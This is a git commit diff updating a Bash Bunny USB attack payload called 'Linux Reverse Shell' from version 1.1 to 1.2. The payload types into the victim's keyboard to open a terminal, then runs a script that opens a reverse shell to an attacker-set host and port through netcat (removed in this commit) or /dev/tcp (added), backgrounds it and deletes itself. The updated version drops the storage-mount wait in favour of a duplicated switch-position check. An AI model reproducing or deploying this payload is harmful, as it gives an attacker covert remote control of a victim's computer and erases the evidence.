Updated "Linux Reverse Shell" to v1.2 (#262)
parent
00cee07ec0
commit
a48d9e2a61
|
@ -1,7 +1,7 @@
|
||||||
# Linux Reverse Shell for Bash Bunny
|
# Linux Reverse Shell for Bash Bunny
|
||||||
|
|
||||||
Author: tuzzmaniandevil
|
Author: tuzzmaniandevil --creds: hak5darren
|
||||||
Version: Version 1.1
|
Version: Version 1.2
|
||||||
|
|
||||||
## Description
|
## Description
|
||||||
|
|
||||||
|
|
|
@ -2,9 +2,6 @@
|
||||||
A="$0"
|
A="$0"
|
||||||
H=$1
|
H=$1
|
||||||
P=$2
|
P=$2
|
||||||
rm -rf ~/.a/
|
/bin/bash -c /bin/bash -i > /dev/tcp/$H/$P 0<&1 2>&1 &
|
||||||
mkdir -p ~/.a/
|
|
||||||
mknod ~/.a/p p
|
|
||||||
/bin/sh -c /bin/sh 0<~/.a/p | nc $H $P 1>~/.a/p &
|
|
||||||
disown $!
|
disown $!
|
||||||
rm -f "$A"
|
rm -f "$A"
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
#
|
#
|
||||||
# Title: Linux Reverse Shell
|
# Title: Linux Reverse Shell
|
||||||
# Author: tuzzmaniandevil
|
# Author: tuzzmaniandevil
|
||||||
# Version: 1.1
|
# Version: 1.2
|
||||||
#
|
#
|
||||||
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
|
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
|
||||||
#
|
#
|
||||||
|
@ -23,8 +23,8 @@ GET SWITCH_POSITION
|
||||||
# Set Attack Mode
|
# Set Attack Mode
|
||||||
ATTACKMODE HID STORAGE
|
ATTACKMODE HID STORAGE
|
||||||
|
|
||||||
# Wait for Storage to mount
|
# Get the switch position
|
||||||
sleep 5
|
GET SWITCH_POSITION
|
||||||
|
|
||||||
# Open a terminal
|
# Open a terminal
|
||||||
Q CTRL-ALT t
|
Q CTRL-ALT t
|
||||||
|
|
Loading…
Reference in New Issue